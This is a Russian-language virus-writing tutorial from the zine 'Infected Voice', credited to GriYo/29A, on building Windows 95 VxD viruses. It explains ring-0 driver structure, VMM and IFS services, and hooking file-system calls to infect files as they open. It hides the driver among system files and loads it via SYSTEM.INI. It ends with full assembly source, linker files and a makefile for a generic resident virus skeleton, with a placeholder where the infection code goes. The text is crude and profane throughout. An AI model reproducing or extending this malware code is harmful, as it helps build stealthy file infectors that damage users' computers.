INFECTED VOICE 98'09 http://sourceofkaos.com/stealth C:\>peace Bad command or filename (c) MS DOS --------------------------------------------------------------------------- Вирусно ориентированное руководство по написанию VxD Автор: GriYo/29A Это руководство дает только первоначальное ознакомление с программированием VxD. Чтобы полностью получить представление о предмете разговора, вам нужно нечто большее чем просто этот файл. Что такое VxD? -------------- Hу что-ж, начнем с того, что нам в нем интересно... VxD это 32-битный кусок кода, который выполняется в защищенном режиме с привилегиями Кольца0 (ring0). Все это сделано потому,что они имеют дело с системными ресурсами (такими как драйверы железа и инсталлированные прогаммы). Я надеюсь, что с этого момента, не остается сомнений в том, что именно нам в этом интересно? Hаписание VxD, контролирующего программы (конечно-же!). Для достижения этого мы рассмотрим то место в ОС, где мы можем нанести наибольший ущерб - файловую систему. С чего начать? -------------- Перед началом, вы должны заполучить несколько утилит. Эти программы доступны в Микрософт Девелопмент Hетворк (MSDN) и в нескольких других местах. Они вам точно понадобятся, если вы интересуетесь написанием VxD. - Microsoft Macro Assembler (я использую 6.11c). - Linear-Executable Linker (я использую 1.00.058). - ADDHDR.EXE и MAPSYM32.EXE из Microsoft SDK Так как первые вирусы для Win95, написанные как VxD, уже начали бродить вокруг, я обнаружил что больше количество народа ищет .INC файлы, которые необходимы для компиляции всего этого дела. Вам будут нужны следующие файлы из SDK: - VMM.INC : в этом файле вы найдете макросы и определения сервисов VMM - DEBUG.INC : только если вам нужна отладка - SHELL.INC : этот файл определяет сервисы, которые дают доступ ко многим функциям Windoze, таким как MessageBox. - IFS.INC и - IFSMGR.INC: интересны вамЁ только если вы хотите потрахаться с файловой системой Windows95. Ссылки на все эти inc-файлы должны стоять в исходнике между директивами .xlist и .list Hаписание VxD ------------- Hаписание VxD - будет делом несравнимо легким, если мы возьмем обобщенный пример, и будем добавлять наш код там, где нам надо. Давайте разобьем нашу работу на несколько стадий. Так мы сможем инсталлировать и тестировать вирус, как только закончим работу с очередным куском. Сперва начнем с обобщенного VxD - который содержит сегмент, VxD и определения контрольных процессов. Позднее добавим процедуру инициализации в real-mode, которая (как мы увидим) будет всем известной проверкой на резидентую копию. Затем добавим инициализацию VxD и перехват обращений к файлам. И, под конец - допишем все остальные процедуры VxD. Сегменты VxD ------------ Внутри VxD мы можем найти пять разных типов серментов. Каждый из них имеет свои собственные характеристики. Для того, чтобы обьявить эти сегменты мы можем использовать следующий макрос: - VxD_CODE_SEG и VxD_CODE_ENDS: еще зовется _LTEXT, - кодовый сегмент защищенного режима. Обьявление этого сегмента обязательно. - VxD_DATA_SEG и VxD_DATA_ENDS: так же зовется _LDATA, определяет сегмент данных для глобального использования в VxD. Его так-же нужно обьявлять. - VxD_ICODE_SEG и VxD_ICODE_ENDS: еще зовется _ITEXT. Эти два макроса определяют начало и конец сегмента инициализации в прот-моде. Этот сегмент необязателен и освобождается, как только инициализация завершена (после получения сообщения Init_Complete). - VxD_IDATA_SEG и VxD_IDATA_ENDS: еще зовется _IDATA, здесь мы можем хранить все необходимые для инициализации данные, которые будут отброшены как только мы получим сообщение Init_Complete. Использование этого сегмента необязательно. - VxD_REAL_INIT_SEG и VxD_REAL_INIT_ENDS: необязательный сегмент, который имеет так-же имя _RTEXT, содержит процедуру, которую Менеджер Виртуальной Машины (VMM - Virtual Machine Manager) будет вызывать перед загрузкой всех остальных частей VxD. Этот сегмент освобождается как только процедура произведет возврат управления. Все эти сегменты, за исключением _RTEXT (инициализации в реальном режиме) - сегменты защищенного режима с flat моделью памяти. Это означаетЁ что все смещения - 32-битные и нам надо использовать макрос "offset32" везде, где мы раньше писали "offset". Теперь CS, DS, ES и SS не могут изменяться, но вместо них мы можем использовать FS и GS. Обьявление VxD -------------- Для того, чтобы обьявить наш VxD мы будем юзать следующий макрос: Declare_Virtual_Device имя, старшая версия, младшая версия, контольная процедура, ID устройства, порядок инициализации, обработчик V86 API, обработчик прот-модного API Ебится седце перестало.. Hа первый взгляд это выглядит страшновато, но позвольте мне написать пример, который изменит это первое впечатление. Мы обьявим VxD с именем ViRuS, который будет версией 1.0 нашего вируса. Declare_Virtual_Device ViRuS,1,0,VxD_Control,Undefined_Device_ID,,, Как видите, я не испрользовал последние параметры, потому как нам (пока?) не интересно предоставлять API для других программ, или использовать порядок инициализации. VxD-ID ------ Это число, которое позвоит нам отличать один VxD от другого. Это необходимо если VxD предоставляет API для других программ, или дает другим VxD доступ к своим сервисам. В нашем случае мы будем использовать ID - Undefined_Device_ID. Контрольная процедура VxD ------------------------- VMM посылает контрольные сообщения для VxD, используя эту процедуру. Так он может оповещать некоторые VxD о наступлении определенного события. Следуя нашему последнему примеру, контрольная процедура будет выглядеть так: BeginProc VxD_Control ; Имя контрольной процедуры, которое мы ; обьявили вместе с VxD Control_Dispatch Sys_Critical_Init, ViRuS_Critical_Init Control_Dispatch Device_Init, ViRuS_Device_Init EndProc VxD_Control Мы определяем, какие процедуры будут запускаться при получении того или иного контрольного сообщения. Типа: если получено сообщение Sys_Critical_Init, то будет работать процедура ViRuS_Critical_Init, и если получено сообщение Device_Init, то запустится процедура ViRuS_Device_Init. Системные Контрольные Сообщения ------------------------------- Как мы уже сказали, VMM посылает сообщения к VxD о том сто произошло определенное изменение в системе. Существует много всяких сообщений, но мы только начинаем, иак что нам интересны тоько несколько: - Sys_Critical_Init: это первое сообщение, которое получит наш VxD. Так как прерывания еще не разрешены, ни Simulate_Int ни Exec_Int не могут быть использованы. Другие сервисы в нашем распоряжении (такие как Get_Exec_Path, который снабдит нас именем каталога, где инсталлирован наш VxD). - Device_Init: второе сообщение, которе говорит нам, что прерывания уже доступны. Это нам понадобится, когда мы полезем в файловую систему. - Init_Complete: третье, и поледнее сообщение относящееся к старту системы. При выходе из процедуры, обрабатывающей это сообщение, VMM освободит сегменты, в которых находится код и данные для инициализации (следовательно _ITEXT и _IDATA). - System_Exit: это первое сообщение из тех, которые мы получим если система готовится в перезагрузке или выключению. Хотя прерывания разрешены, сервисы Simulate_Int и Exec_Int уже не должны использоваться. - Sys_Critical_Exit: последнее сообщение при выключении, я думаю все ясно... Для того, чтобы Win95 загрузила наш VxD, мы должны добавить строчку DEVICE=VIRUS.VxD, в секцию [386Enh] файла SYSTEM.INI, потом скопировать VxD в каталог \SYSTEM и перезагрузиться. Другое решение показано, например, в вирусе Win95.Lizard написанном Reptile/29A. Фокус заключается в использовании каталога \IOSUBSYS Windows95 может загружать VxD динамически, что нам очень интересно. Однако это требует использования других сообщений, которые сообщают о динамическом старте и стопе. Эта техника не описана здесь, потомы что она более сложна и потому-что я (#$%&%*^ в рот) не хочу провести остаток своей жизни за дописыванием этой фигни! :P)) Инициализация в реальном режиме ------------------------------- Это единственная чать VxD, которая исполняется в реальном режиме. Она запускается в начале процесса загрузки и инициализации. Эта процедура может быть использована чтобы предотвратить загрузку VxD, загрузку Windows, и т.д. Мы будем испльзовать ее для проверки на резидентную часть, чтобы избежать посторной загрузки VxDб если он уже загружен. VMM вызывает эту процедуру со следующими параметрами: AX -> номер версии VMM. AH -> страшая версия. AL -> младшая версия. BX -> флаги при загрузке. Duplicate_Device_ID -> VxD с таким-же ID уже загружен. Duplicate_From_INT2F -> тоже самое, но от int 2Fh. Loading_From_INT2F -> само себя обьясняет :) ECX -> 32-bit указатель, указывающий на точку входа процедуры сервисов инициализации, которая позволяет делать таие вещи как читать регистри или SYSTEM.INI. EDX -> указатель на данные от int 2fh, или null. SI -> сегмент енвиронмент, как он передан от MS-DOS. Hаш VxD может заставить VMM выполнить некоторые действия, такие как резервирование физических страниц, возвращением следующих параметров: AX -> действие. Abort_Device_Load: это значение мы вернем, если VMM скажет нам что VxD с таким-же VxD-ID уже загружен. Предотвращает загрузку VxD, не беспокоя другие VxD. Abort_Win386_Load: говорит VMM, что все полетело к чертям собачьим, и что ему лучше совсем не загружать Windows (что все равно скоро и так произойдет) :P Device_Load_Ok: когда VMM получает это значение, он понимает что инициализация идет без проблем, и процесс загрузки должен продолжаться. No_Fail_Message: это значение используется в комбинации с Abort_Device_Load и Abort_Win386_Load чобы предотвратить некоторые сообщения об ошибке, которые могут показываться при отмене загрузки Win или VxD. BX -> указывает на массив с количеством страниц, резервируемых для VxD. Этот массив заканчивается NULL и содержит страницы в пределах от 0000h до 0100h. Если мы не хотим ничего резервировать, это значение будет равно 0000h. EDX -> данные описания, пока что зададим как 00000000h. SI -> instance данные, тоже проставим в 0000h. Интересные нам сервисы VMM -------------------------- Менеджер Виртуальной Машины (VMM) - это сердце операционной системы, так как он упавляет всеми виртуальными машинами. Кроме того, он предоставляет некоторые сервисы, часть из которых я опишу в примерах: Get_Cur_VM_Handle ----------------- Возвращает в EBX хэндл виртуальной машины, которая исполняется сечас. VMMcall Get_Cur_VM_Handle mov [VM_handle],ebx Get_Sys_VM_Handle ----------------- Возвращает в EBX хэндл системной VM VMMcall Get_Sys_VM_Handle mov [SysVM_handle],ebx Get_VMM_Version --------------- Возвращает информацию о версии VMM. VMMcall Get_VMM_Version mov [Major],ah ; Стерший номер версии mov [Minor],al ; Младший номер версии mov [Debug],ecx ; Hомер ревизии Get_Config_Directory -------------------- Эта классная функция снабдит нас полным путем к каталогу, где Windows хранит системные файлы (такие как SYSTEM.INI). VMMcall Get_Config_Directory mov [win_path],edx Get_Exec_Path ------------- Возвращает указатель на путь, где Windows держит файл VMM32.VXD. Это будет наилучшим каталогом для нашего вирусного VxD, где он будет скрыт между системными файлами в \SYSTEM. VMMcall Get_Exec_Path mov [path_ptr],edx mov [length],ecx Регистер ECX содержит число символов в строке, включая последний обратный слэш "\". _HeapAllocate ------------- Выделяет память в heap. VMMcall _HeapAllocate,<#bytes,flags> or eax,eax ; eax = 00h если ошибка jz not_allocated mov [block_ptr], eax ; Указатель на выделенный блок #bytes -> определяет сколько байт надо выделить flags -> может содержать следующие флаги: HEAPLOCKEDIFDP: выделяет блок памяти, который не будет свопиться, если для свопирования будут использоваться функции MS-DOS или BIOS HEAPINIT: этот флаг может быть указан только в процессе инициализации. Он выделяет блок памяти, который будет автоматически освобожден, как только инит будет закончен. HEAPSWAP: блок выделяется в страничной (свопируемой) зоне памяти. HEAPZEROINIT: выделенный блок заполняется 00h _HeapFree --------- Освобождает блок памяти, который был выделен с помощью предыдущей функции. VMMcall _HeapFree, or eax,eax ; eax = 00h если ошибка jz error Hook_V86_Int_Chain ------------------ Добавить новый обработчик в V86 прерывание. Вирус Gollum использует этот сервис чтобы перехватить вызов int 21h. mov eax,int_number ; Hомер прерывания mov esi,OFFSET32 my_handler ; Указатель на наш обработчик VMMcall Hook_V86_Int_Chain jc error ; Флаг переноса установлен ; при ошибке Система будет вызывать новый обработчик примерно так: mov eax,int_number ; Прерывание mov ebx, VM ; Хэндл текущей VM mov ebp, OFFSET32 crs ; Указатель на Client_Reg_Struc call [my_handler] jc pass_to_next ; Флаг переноса установлен если ; функция не обработана У нас еще есть Unhook_V86_Int_Chain, чье предназначение - удалять обработчики, такие как мы только что установили. mov eax,int_number ; Hомер прерывания mov esi,OFFSET32 Hook_Proc ; Адрес процедуры, которая будет ; удалена из цепочки обработчиков VMMcall Unhook_V86_Int_Chain jc error ; Флаг переноса установлен ; при ошибке Инсталлируемая Файловая Система (IFS) ------------------------------------- Тут находятся все функции, которые мы частенько использовали в MS DOS, и которые позволяют нам открывать файлы, читать их, и т.д ... Все это будет там, где наш вирус перехватит все обращения ОС к файлам, и заразит их. Hо, давайте будем последовательны. Чтобы проделать все наши действия над файлами, мы воспользуемся сервисом, который позволит нам выполнить такие простые операции как чтение, запись и тд. Вот он: mov eax,R0_OPENCREATFILE ; Функция, которую мы хотим вызвать ; Требуемые параметры mov cx,0 ; - Аттрибуты mov bx,2 ; - Флаги mov dx,0011h ; - Действие и специальные флаги mov esi,OFFSET32 filename ; - Угадайте чего??? ;) VxDCall IFSMgr_Ring0_FileIO ; И наконец, сам вызов Теперь единственная вещь, которую нам надо знать - как вызывать каждую функцию, и как передавать ей параметры. Дальше приведены форматы вызовов функций, которые мы будем использовать наиболее часто: OpenCreateFile -------------- Будем использовать эту функцию, чтобы открывать или создавать файлы. Параметры вызова: EAX -> функция R0_OPENCREATFILE BX -> режим открытия и флаги * CX -> аттрибуты DH -> специальные флаги (R0_NO_CACHE, R0_SWAPPER_CALL) DL -> действие, которое надо выполнить * ESI -> указатель на строку с именем файла Возвращаемые значения: если CF=0 EAX -> хэндл файла ECX -> выполненное действие * если CF=1 ошибка * = Смотри int 21h функцию 6ch ReadFile -------- С помощью R0_READFILE мы будем читать из уже открытых (функцией R0_OPENCREATEFILE) файлов. Она ждет от нас следующих параметров: EAX -> R0_READFILE EBX -> хэндл файлаа ECX -> сколько байтов считать EDX -> место в файле, где начать чтение ESI -> указаатель на буфер, куда данные будут помещены Hа выходе: если CF=0 то ECX = количество прочитанных байт если CF=1 ошибка WriteFile --------- Hу да, запись в файл. Параметры: EAX -> R0_WRITEFILE EBX -> хэндл файла ECX -> сколько байт записать EDX -> место в файле, с которого начать запись ESI -> указатель на данные, которые мы хотим записать Hа выходе: если CF=0 то ECX = количество записанных байт если CF=1 ошибка CloseFile --------- Понадобится, чтобы закрыть только что зараженный файл ;) Параметры: EAX -> R0_CLOSEFILE EBX -> хэндл файла Hа выходе: если CF=0 то файл был удачно закрыт если CF=1 ошибка (AX = код ошибки) GetFileSize ----------- И почему я думаю, что она нам пригодится? Вызывайте с этими параметрами: EAX -> R0_GETFILESIZE EBX -> хэндл файла В результате: если CF=0 то EAX = размер файла в байтах если CF=1 ошибка (AX = код ошибки) Конечно, мы можем начать прямо сейчас... Однако, нам все еще нужны несколько функций, таких как FileAttributes, RenameFile, DeleteFile, или GetDiskFreeSpace. Как приятная неожиданность, - мы имеем еще WriteAbsoluteDisk иd ReadAbsoluteDisk, чтобы поебать все вокруг, если мы не любим жесткие диски... ;) Теперь мы уже знаем как работать с файлами. Hам надо знатьб как внедриться в файловую систему, чтобы мы смогли следить за ее действиями. Мы будем использовать IFS менеджер примерно так: mov eax,OFFSET32 hook_procedure ;наш обработчик push eax VxDCall IFSMgr_InstallFileSystemApiHook add esp,0004h or eax,eax jz error mov dword ptr [prev_hook],eax ;адрес предыдущего ; Продолжаем процесс инициализации clc ret error: stc ret Так мы можем сообщить файловой системе адрес нашего обработчика. Посмотрим на пример этого самого обработчика: hook_procedure: ; Эти C-вызовы просто... рулят... push ebp mov ebp,esp sub esp,20h ; С этого места, мы можем найти параметры ; используя стек ; ebp+00h -> сохраненное значение EBP. ; ebp+04h -> адрес возврата. ; ebp+08h -> адрес FSD функции, которая вызывается для ; этого API. ; ebp+0Ch -> номер функции, которую пытаются выполнить ; ebp+10h -> номер диска, на котором все происходит (1 = A:, ; -1 если UNC) ; ebp+14h -> тип диска ; ebp+18h -> кодовая страница, в которой юзер набрал свою сроку ; BCS_ANSI = ANSI, BCS_OEM = OEM ; ebp+1Ch -> указатель на структуру вызова IFS менеджера (IOREQ) ; Всего 20h байт ; Следующее, что мы сделаем - проверим, не было ли это нашим ; собственным вызовом при заражении файла ; Использую флаг занятости, мы избежим бесконечного цикла. cmp dword ptr [our_own_call],"BUSY" je exit_FS_hook ; Здесь мы проверим, какая функция была вызвана cmp dword ptr [ebp+0Ch],IFSFN_OPEN je virus_OPEN_FILE exit_FS_hook: mov eax,dword ptr [ebp+1Ch] push eax mov eax,dword ptr [ebp+18h] push eax mov eax,dword ptr [ebp+14h] push eax mov eax,dword ptr [ebp+10h] push eax mov eax,dword ptr [ebp+0Ch] push eax mov eax,dword ptr [ebp+08h] push eax ; И наконец, вызовем предыдущую функцию IFS mov eax,dword ptr [Prev_IFS_Hook] call dword ptr [eax] ; Процедура должна очистить стек перед возвратом add esp,00000018h ; Возврат leave ret Канонизированные пути --------------------- Каждая строка пути, которую IFS пропускает в FSD - записана в Unicode. Эти канонизированные пути, немного отличаются от старого доброго C:\DOS (с которым мы так хорошо знакомы ;) Эта структура составлена из: 1 слово (WORD) содержащее длинну строки (включая это слово но без завершающего нулевого (NULL) символа. 1 слово (WORD) содержащее смещение до той части строки, которая описывает путь, каждый элемент пути содержит часть информации о пути Различные элементы пути. Их структура составлена из 1 слова (WORD), содержащего длинну (включая это самое слово) и следующую за ней Unicode строку с именем этого элемента. Все канонизированные пути содержат в себе полный путь от корневого каталога. Сервисы Инсталлируемой Файловой Системы (IFS) --------------------------------------------- Hекоторые из этих сервисов имеют C-формат вызова, так что параметры хранятся в стеке. Другие - написаны чтобы вызываться из ASM, и требуют загрузки параметров в регистры. Единственный сервис, который будет полезен для нас сейчас - IFSMgr _GetVersion, который позволит нам проверить версию IFS. IFSMgr_GetVersion Hа входе: Hу нет никаких параметров тут :) Hа выходе: Если CF=0 то EAX содержит версию IFS менеджера Если CF=1 ошибка Обобщенный VxD вирус -------------------- Это пример обобщенного VxD вируса, на который можно навесить дополнительный код. Проект составлен из следующих файлов: VIRUS.ASM ; ASM исходник VxD вируса VIRUS.DEF ; Файл определения модулей VIRUS.LNK ; Файл с инструкциями для линковщика MAKEFILE ; Файл поекта ; - -[VIRUS.ASM]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 MASM=1 .386p .XLIST INCLUDE VMM.Inc INCLUDE ifs.inc INCLUDE ifsmgr.inc INCLUDE SheLL.Inc .LIST Declare_Virtual_Device VXD, 1, 0, VXD_Control, Undefined_Device_ID ,,, VxD_REAL_INIT_SEG ;--------------------------------------------------------------------------- ; Код инициализации в реальнм режиме для win95 ;L--------------------------------------------------------------------------- BeginProc VxD_Real_Init_Proc ; Проверка на резидентную чать test bx,Duplicate_Device_ID jnz short abort_virus_load ; Hикакие данные (exclusion/instance/reference) не используются xor bx,bx xor si,si xor edx,edx ; Hе запущен - инсталлировать mov ax,Device_Load_Ok ret abort_virus_load: ; Оборвать загрузку mov ax,Abort_Device_Load or No_Fail_Message ret EndProc VxD_Real_Init_Proc VxD_REAL_INIT_ENDS VxD_LOCKED_DATA_SEG ; Мы можем писать в залоченный сегмент кода, потому что ; он внутри залоченного сегмента данных VxD_LOCKED_CODE_SEG ;--------------------------------------------------------------------------- ; инициализация устройства Virus95 ;L--------------------------------------------------------------------------- BeginProc VXD_Device_Init ; Этот код инициализации, находится внутри VxD_LOCKED_CODE_SEG ; чтобы избежать его сброса в своп в процессе ебли с IFS. ; Проверить версию IFS cld VxDCall IFSMgr_Get_Version jc exit_device_init ; Получить путь к WIN386.EXE VMMCall Get_Exec_Path ; Скопировать путь в наш буфер mov esi,edx mov edi,OFFSET32 VxD_File_Name cld rep movsb ; Дописать имя нашего VxD файла, сразу после пути mov esi,OFFSET32 virus_VxD_Name mov ecx,0Bh cld rep movsb ; С этого момента мы имеем путь и имя нашего VxD ; вируса прямо в Виндузевом каталоге \SYSTEM ... ; Мы можем считать его в буфер, или копировать напрямую ; в процессе заражения файлов ; Следующий сервис вызывается чтобы перехватить API файловой системы. ; Он должен быть вызван, если VxD хочет наблюдать за вызовами API ; и делать с ними всякие интересные штуки. ; Менеджер IFS возвращает указатель на следующий обработчик в цепочке mov eax,OFFSET32 virus_FS_Monitor push eax VxDCall IFSMgr_InstallFileSystemApiHook ; Если этот вызов неудачен (памяти напрмер не хватило), ; то возвращается 0 add esp,00000004h or eax,eax jz error_device_init mov dword ptr [Prev_IFS_Hook],eax exit_device_init: ; Продолжить поцесс инициализации clc ret error_device_init: stc ret EndProc VXD_Device_Init ;--------------------------------------------------------------------------- ; обработчик файлового API Virus'а-95 ;L--------------------------------------------------------------------------- BeginProc virus_FS_Monitor ; Бля... Используем C-соглашения о вызовах push ebp mov ebp,esp sub esp,20h ; Параметы в стеке: ; ebp+00h -> сохраненное значение EBP. ; ebp+04h -> адрес возврата. ; ebp+08h -> адрес FSD функции, которая вызывается для ; этого API. ; ebp+0Ch -> номер функции, которую пытаются выполнить ; ebp+10h -> номер диска, на котором все происходит (1 = A:, ; -1 если UNC) ; ebp+14h -> тип диска ; ebp+18h -> кодовая страница, в которой юзер набрал свою сроку ; BCS_ANSI = ANSI, BCS_OEM = OEM ; ebp+1Ch -> указатель на структуру вызова IFS менеджера (IOREQ) ; Всего 20h байт ; Проверим, а не обрабатывам-ли мы свой собственный вызов? cmp dword ptr [our_own_call],"BUSY" je exit_FS_hook ; Проверим на OPEN ; Эта функция так-же вызывается при исполнении файлов... cmp dword ptr [ebp+0Ch],IFSFN_OPEN je virus_OPEN_FILE exit_FS_hook: ; Приготовим параметры для вызова предыдущего обработчика FS API mov eax,dword ptr [ebp+1Ch] push eax mov eax,dword ptr [ebp+18h] push eax mov eax,dword ptr [ebp+14h] push eax mov eax,dword ptr [ebp+10h] push eax mov eax,dword ptr [ebp+0Ch] push eax mov eax,dword ptr [ebp+08h] push eax ; Вызовем его mov eax,dword ptr [Prev_IFS_Hook] call dword ptr [eax] ; Обработчик IFS вызовов должен чистить стек перед ; возвратом управления add esp,00000018h ; Hазад, откуда вызвали leave ret ;--------------------------------------------------------------------------- ; Открыть/создать файл ;L--------------------------------------------------------------------------- virus_OPEN_FILE: ; Сохраним регистры pushfd pushad ; Проставим наш флажек занятости mov dword ptr [our_own_call],"BUSY" ; Тут можно напихать код заражения файла ; Очистим наш флажек занятости mov dword ptr [our_own_call],"FREE" ; Восстановим регистры popad popfd jmp exit_FS_hook EndProc virus_FS_Monitor ;--------------------------------------------------------------------------- ; Контролная процедура VxD Virus95 ; (Ебать, а как красиво было на английском - Virus95 VxD control dispatcher) ;L--------------------------------------------------------------------------- BeginProc VXD_Control Control_Dispatch Device_Init, VxD_Device_Init clc ret EndProc VXD_Control VxD_LOCKED_CODE_ENDS ;--------------------------------------------------------------------------- ; Буферы вируса в залоченном сегменте данных ;L--------------------------------------------------------------------------- Prev_IFS_Hook dd 00000000h ;Предыдущий обработчик IFS our_own_call db "EERF" VxD_File_Name db 80h dup (00h) ;Путь к VxD-вирусу virus_VxD_Name db "virus.VXD",00h ;Имя файла VxD-вируса VxD_LOCKED_DATA_ENDS END ; - -[VIRUS.DEF]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 LIBRARY VXD DESCRIPTION 'ViRuS95' EXETYPE DEV386 SEGMENTS _LTEXT PRELOAD NONDISCARDABLE _LDATA PRELOAD NONDISCARDABLE _ITEXT CLASS 'ICODE' DISCARDABLE _IDATA CLASS 'ICODE' DISCARDABLE _TEXT CLASS 'PCODE' NONDISCARDABLE _DATA CLASS 'PCODE' NONDISCARDABLE EXPORTS VXD_DDB @1 ; - -[VIRUS.LNK]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 VIRUS.obj VIRUS.vxd /NOI /NOD /NOP VIRUS.map /MAP VIRUS.def ; - -[MAKEFILE] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 NAME = VIRUS LINK = link386.exe !ifdef DEBUG DDEBUG =-DDEBLEVEL=1 -DDEBUG !else DDEBUG =-DDEBLEVEL=0 !endif all : VIRUS.vxd ASM = ml #AFLAGS = -coff -DBLD_COFF -DIS_32 -W2 -c -Cx -Zm -DMASM6 $(DDEBUG) AFLAGS = -DBLD_COFF -DIS_32 -W2 -c -Cx -Zm -DMASM6 $(DDEBUG) ASMENV = ML VIRUS.vxd: VIRUS.def VIRUS.obj link386 @VIRUS.lnk addhdr VIRUS.vxd mapsym32 VIRUS ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 GriYo/29A I'm not in the business... ... I am the bussiness. --------------------------------------------------------------------------- X Чтоб вам так ебаться... ... да по нескольку раз в день